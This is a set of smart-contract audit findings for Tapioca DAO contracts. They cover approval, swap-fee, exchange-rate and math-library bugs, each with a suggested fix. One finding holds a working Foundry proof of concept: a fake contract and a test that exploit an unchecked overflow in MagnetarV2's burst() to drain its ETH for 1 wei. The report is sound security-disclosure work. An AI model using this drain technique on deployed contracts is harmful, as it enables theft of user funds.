Tapioca DAO - 0xfuje's results

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/aave/AaveStrategy.sol#L129-L132

Vulnerability details

Impact

User funds can't be withdrawn in case AAVE is to be claimed by the contract

Description

AaveStrategy.sol uses a swapper to swap rewardToken aka AAVE to WETH in compound() if there is AAVE claimed in compound via claimRewards() . Both withdrawal functions emergencyWithdraw() and _withdraw() will call compound("").

AaveStrategy.sol - compound() (after AAVE is claimed)

        if (aaveBalanceAfter > aaveBalanceBefore) {
            uint256 aaveAmount = aaveBalanceAfter - aaveBalanceBefore;

            //swap AAVE to wrappedNative
            ISwapper.SwapData memory swapData = swapper.buildSwapData(
                address(rewardToken),
                address(wrappedNative),
                aaveAmount,
                0,
                false,
                false
            );
            uint256 calcAmount = swapper.getOutputAmount(swapData, "");
            uint256 minAmount = calcAmount - (calcAmount * 50) / 10_000; //0.5%
            swapper.swap(swapData, minAmount, address(this), "");

In the constructor of the contract max uint256 rewardToken is correctly approved to the swapper address.

However when the owner sets a new swapper via setMultiSwapper(): it doesn't approve the rewardToken to the swapper address which means the swap function will revert when there is AAVE to be claimed by the contract and makes withdrawals impossible.

AaveStrategy.sol - setMultiSwapper()

    function setMultiSwapper(address _swapper) external onlyOwner {
        emit MultiSwapper(address(swapper), _swapper);
        swapper = ISwapper(_swapper);
    }

Note: setMultiSwapper() is correctly implemented there and is not vulnerable in the following strategy contracts: TricryptoLPStrategy.sol, TricryptoNativestrategy.sol, ConvexTricryptoStrategy.sol, StargateStrategy.sol

ConvexTricryptoStrategy.sol - setMultiSwapper()

    function setMultiSwapper(address _swapper) external onlyOwner {
        emit MultiSwapper(address(swapper), _swapper);
        rewardToken.approve(address(swapper), 0);
        swapper = ISwapper(_swapper);
        rewardToken.approve(_swapper, type(uint256).max);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Change setMultiSwapper() in AaveStrategy.sol to approve 0 rewardToken to the old swapper and approve type(uint256).max rewardToken to the new swapper set.

Assessed type

DoS

Lines of code

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Swapper/UniswapV3Swapper.sol#L38 https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Swapper/UniswapV3Swapper.sol#L61-L64

Vulnerability details

UniswapV3Swapper.sol - poolFee can be set to unoptimal routing or to an incorrect value

Impact

• Unoptimal routing: significant user funds can be lost in a swap
• Incorrect value: swap reverts

Description

Unoptimal Routing

UniswapV3Swapper is assumed to be an universal swapper used across the protocol (e.g. in the Yieldbox strategy contracts to swap). The poolFee variable is initialized to be 3000 aka 0.3%. It's true that usually 0.3% pools are the most optimal ones, however it's not guaranteed. Unoptimal routing can lead to significant losses in case a pool has too little liquidity.

Incorrect Values

Additionally the owner can also change the poolFee via setPoolFee to an arbitrary value by mistake which can differ from (0.01%, 0.05%, 0.1%, 0.3%, 1%, 3%) fee pools supported by Uniswap V3. This makes the swap() function fail since the Uniswap V3 SwapRouter can't find the non-existing pool and also reverts the getOutputAmount() + getInputAmount() functions.

Proof of Concept

Unoptimal Routing

1. This time the 0.3% Uniswap pool has little to no liquidity and the 1% pool is the most optimal
2. User doesn't have an understanding of slippage, swaps with UniswapV3Swapper => loses significant value due to slippage
3. The owner sets poolFee to 10000 aka 1%
4. Every other swap will use 1% pools now and suffers huge losses since they have a lack of liquidity

Tools Used

Manual review, Uniswap V3 docs, Uniswap Info Website

Recommended Mitigation Steps

• Unoptimal routing: Consider building the swapData (which is expected to be passed into swap()) in the inherited BaseSwapper - _buildSwapData() with the most optimal poolFee for each intended swap and reserving a default poolFee in UniswapV3Swapper in case it's not provided
• Incorrect values: Validate the poolFee in setPoolFee to use one of the correct values Uniswap V3 supports

Assessed type

Uniswap

Lines of code

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Magnetar/MagnetarV2.sol#L214-L216 https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Magnetar/MagnetarV2.sol#L232-L241

Vulnerability details

Impact

All funds of MagnetarV2 are lost

Description

Overflow

MagnetarV2 - burst() is a function that allows users to execute multiple different Tapioca operations in one call by providing an array of Call structs: such as depositing to Yieldbox, adding or repaying collateral to a Singularity or BigBang market, wrapping TOFT or exercising an oTAP position. It is a payable function and uses a valAccumulator to count the value intented to be sent / used and a check at the end of the function to make sure the provided value matches the valAccumulator.

tapioca-periph-audit/contracts/Magnetar/MagnetarV2.sol - L714

require(msg.value == valAccumulator, "MagnetarV2: value mismatch");

At the start of the for loop looping through Call structs the valAccumulator is always raised by the value provided in the Call struct before any external calls have been made:

MagnetarV2.sol - L214-L216

unchecked {
    valAccumulator += _action.value;
}

The fact that we can overflow valAccumulator because it's in an unchecked block and the loop adds value to it via the arbitrary Call.value -> _action.value is the first step to our exploit.

Notice the TOFT_WRAP execution inside burst() raises the valAccumulator once more and how this function sends Call.value aka _action.value to _action.target. I believe raising the valAccumulator here is a mistake because in the case of TOFT_WRAP the user has to pay twice the amount in msg.value in normal cases.

MagnetarV2.sol - L232-L241

	} else if (_action.id == TOFT_WRAP) {
		WrapData memory data = abi.decode(_action.call[4:], (WrapData));
	       _checkSender(data.from);
		if (_action.value > 0) {
	        unchecked {
	            valAccumulator += _action.value;
	        }
	        ITapiocaOFT(_action.target).wrapNative{
	            value: _action.value
	        }(data.to);
	    }

The wrapNative() function in BaseTOFT.sol will mint any value to us as long as it's more than 0.

Arbitrary target address

However we can bypass the mint logic, and not wrap to TOFT, but simply send the value to our address because we can pass any arbitrary Call.target aka _action.target inside burst(), so we can deploy our own ITapiocaOFT implementation with a wrapNative() function implemented and pass that as _action.target. An example of such an implementation would be:

contract FakeTapiocaOFT {
	function  wrapNative(address _to) external payable {
		_to.call{value: msg.value}("");
	}
}

MagnetarV2 Balance

To verify that MagnetarV2 has a balance we can steal I looked at the current testnet address on Arbitrum Göerli that testnet users use to interact with the Tapioca beta: https://goerli.arbiscan.io/address/0x38ebc8a9a9461c0b1f44e4204414322410065ebb It currently has 0.35 ETH inside. I looked around in Etherscan's past internal transactions to see why the contract holds funds, have to say I don't understand it fully but it's clear that the contract holds fluctuating amount of Ether. It may be partly because users has to pay twice the amount of msg.value to wrap their TOFT the contract holds the extra funds that won't be sent to TOFT, but I'm sure there are other reasons as well which I don't have time to explore unfortunately.

Calculations

Our next objective is to maximize the sent _action.value to be MagnetarV2's whole balance and to minimize valAccumulator's value because we have to send msg.value == valAccumulator to the function.

We know that valAccumulator is raised by _action.value before any external calls in burst(), so we can call any _action.id function as long as it does not revert the function and as long as it doesn't use _action.value. One example of an action.id is PERMIT_ALL.

Let's calculate the values -> first value has to raise valAccumulator close to uint256.max so that the next value overflows to 1 and our next _action.value == magnetarBal sends MagnetarV2's balance.

uint256 firstVal = (type(uint256).max - ((magnetarBal * 2)) + 2;
uint256 secondVal = magnetarBal;

We substract 2* Magnetar balance in firstVal because the second call will raise valAccumulator two times in the case of TOFT_WRAP and add + 2 so that valAccumulator will exactly overflow to 1 wei.

With 1 wei we drained MagnetarV2's whole balance.

Proof of Concept

I setup a foundry test repository with a Magnetar mock contract that simplifies but mimicks Magnetar's behaviour:

1. forge init tapioca-magnetar-overflow && cd tapioca-magnetar-overflow
2. rm src/Counter.sol && rm test/Counter.t.sol
3. touch src/FakeTapiocaOFT.sol src/MagnetarMock.sol test/MagnetarOverflowTest.t.sol
4. copy and paste the MagnetarMock to src/MagnetarMock.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

interface ITapiocaOFT {
    function wrapNative(address _toAddress) external payable;
}

contract MagnetarMock {
    uint256 TOFT_WRAP_ID = 300;
    uint256 PERMIT = 100;

    struct Call {
        uint256 id;
        uint256 value;
        address target;
        address to;
    }

    function burst(Call[] calldata calls) external payable { // returns (uint256 valAcc) {
        uint256 valAccumulator;
        uint256 length = calls.length;
        for (uint256 i = 0; i < length; i++) {
            Call calldata _action = calls[i];

            unchecked {
                valAccumulator += _action.value;
            }
            if (_action.id == PERMIT) {
                
            } else if (_action.id == TOFT_WRAP_ID) {
                    if (_action.value > 0) {
                    unchecked {
                        valAccumulator += _action.value;
                    }
                    ITapiocaOFT(_action.target).wrapNative{
                            value: _action.value
                    }(_action.to);
                }
            }
        }

        require(msg.value == valAccumulator, "MagnetarV2: value mismatch");
    }
}

5. copy and paste FakeTapiocaOFT file to src/FakeTapiocaOFT.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

contract FakeTapiocaOFT {
    function wrapNative(address _toAddress) external payable {
        _toAddress.call{value: msg.value}("");
    }
}

6. copy and paste the Proof of Concept to test/MagnetarOverflowTest.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import { MagnetarMock } from "../src/MagnetarMock.sol";
import { FakeTapiocaOFT } from "../src/FakeTapiocaOFT.sol";

contract MagnetarOverflowTest is Test {
    MagnetarMock magnetar;
    FakeTapiocaOFT fakeOFT;
    address haxor = vm.addr(666);

    function setUp() public {
        magnetar = new MagnetarMock();
        fakeOFT = new FakeTapiocaOFT();
    }

    function testMagnetarOverflowExploit() public {
        uint256 target = 1 ether;
        vm.deal(address(magnetar), target);
        assertEq(address(magnetar).balance, target); // verify magnetar has target ether
        assertEq(haxor.balance, 0); // verify that haxor doesn't have any ether yet

        uint256 firstVal = (type(uint256).max - (target * 2)) + 2;
        uint256 secondVal = target;

        MagnetarMock.Call[] memory callVals = new MagnetarMock.Call[](2);

        callVals[0].id = 100; // first call to raise valAcc
        callVals[0].to = haxor;
        callVals[0].target = address(fakeOFT);
        callVals[0].value = firstVal;

        callVals[1].id = 300; // second call to exploit it
        callVals[1].to = haxor;
        callVals[1].target = address(fakeOFT);
        callVals[1].value = secondVal;

        magnetar.burst{value: 1}(callVals); // we only sent 1 wei

        assertEq(address(magnetar).balance, 1); // magnetar has the balance of 1 wei aka the sent ether
        assertEq(haxor.balance, target); // haxor has balance of magnetar
    }
}

7. run forge test --match-test testMagnetarOverflowExploit -vvvv

Tools Used

Manual review, Etherscan, Foundry Mock Tests

Recommended Mitigation Steps

It's unlikely even in a loop that uint256 will overflow if users use the protocol in an intended way so remove the unchecked block from valAccumulator += _action.value. Consider removing the second valAccumulator raise in TOFT_WRAP , since it's already raised in the start of the burst() function.

Assessed type

Other

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/master/contracts/compound/CompoundStrategy.sol#L115 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/master/contracts/compound/CompoundStrategy.sol#L145

Vulnerability details

Impact

Users partially lose funds due to front-running and manipulating of exchangeRateStored

Description

The exchangeRateStored() function used in CompoundStrategy is out of date and allows to perform front-running attacks. This can lead to the incorrect calculation of the underlying balance and incorrect calculation of the expected withdrawal (in case it's manipulated) which leads to users partially losing funds.

Proof of Concept

An attacker can flashloan a large amount of cEther or WETH and either decrease the exchangeRate whenever someone is attempting to withdraw so they get less WETH amount out or increase the exchangeRate whenever he tries to withdraw his own funds.

Tools Used

Manual review, Etherscan

Recommended Mitigation Steps

Consider using cToken.exchangeRateCurrent() instead of cToken.exchangeRateStored() to prevent manipulation of the exchange rate and return the accurate of exchange rate.

Assessed type

Other

Lines of code

https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/twAML.sol#L4-L107 https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Swapper/libraries/FullMath.sol#L14-L106

Vulnerability details

Impact

Calculations revert when they shouldn't (when overflow occurs).

Description

FullMath library

In the FullMath library an overflow is desired, however it's never reached because the library doesn't correctly handle the case when a value overflows 256 bits. The FullMath library was likely taken from the Uniswap V3 repository and updated to solidity version ^0.8.18 which reverts on overflow. However the solidity version used here is important because the the original repository used < 0.8.0 and execution didn't revert when an overflow was reached. This means when an overflow occurs the execution will revert and the correct result won't be returned. The original library was designed in a way that desires and handles overflows.

The FullMath contract is introduced in the following contracts:

1. tap-token-audit/contracts/twAML.sol (in-scope)

• twAML inherits FullMath
• AirdropBroker inherits FullMath

2. tapioca-periph-audit/contracts/Swapper/libraries/FullMath.sol (out-of-scope however used by in-scope contracts)

• used in OracleLibrary - getQuoteAtTick() calculations: here
• which is is used by UniswapV3Swapper (in-scope) in getOutputAmount() and getInputAmount()

Note: It's worth to mention however that the FullMath implementation in tapioca-periph-audit/contracts/oracle/external/FullMath.sol is correctly implemented and uses a solidity version before 0.8.0.

TickMath library

The TickMath library has the same problem. The getSqrtRatioAtTick() and getTickSqrtRatio() should use an unchecked block if we have a solidity version greater than 0.8.0 so revert on overflow is never reached. See the official solidity 0.8.0 implementation from Uniswap which correctly implements the unchecked code blocks.

TickMath library is in: tapioca-periph-audit/contracts/Swapper/libraries/TickMath.sol which is out-of-scope, however it is used by contracts that are in scope.

• TickMath is used in OracleLibrary - getQuoteAtTick() to calculate the sqrtRatioX96
• which is is used by UniswapV3Swapper (in-scope) in getOutputAmount() and getInputAmount()

Tools Used

Manual review

Recommended Mitigation Steps

Wrap every vulnerable function used in an unchecked {} block in the incorrect libraries:

• FullMath - muldiv() - twAML and periphery
• TickMath - getSqrtRatioAtTick(), getTickSqrtRatio()

Or alternatively use a solidity version before 0.8.0 in the contracts.

Assessed type

Library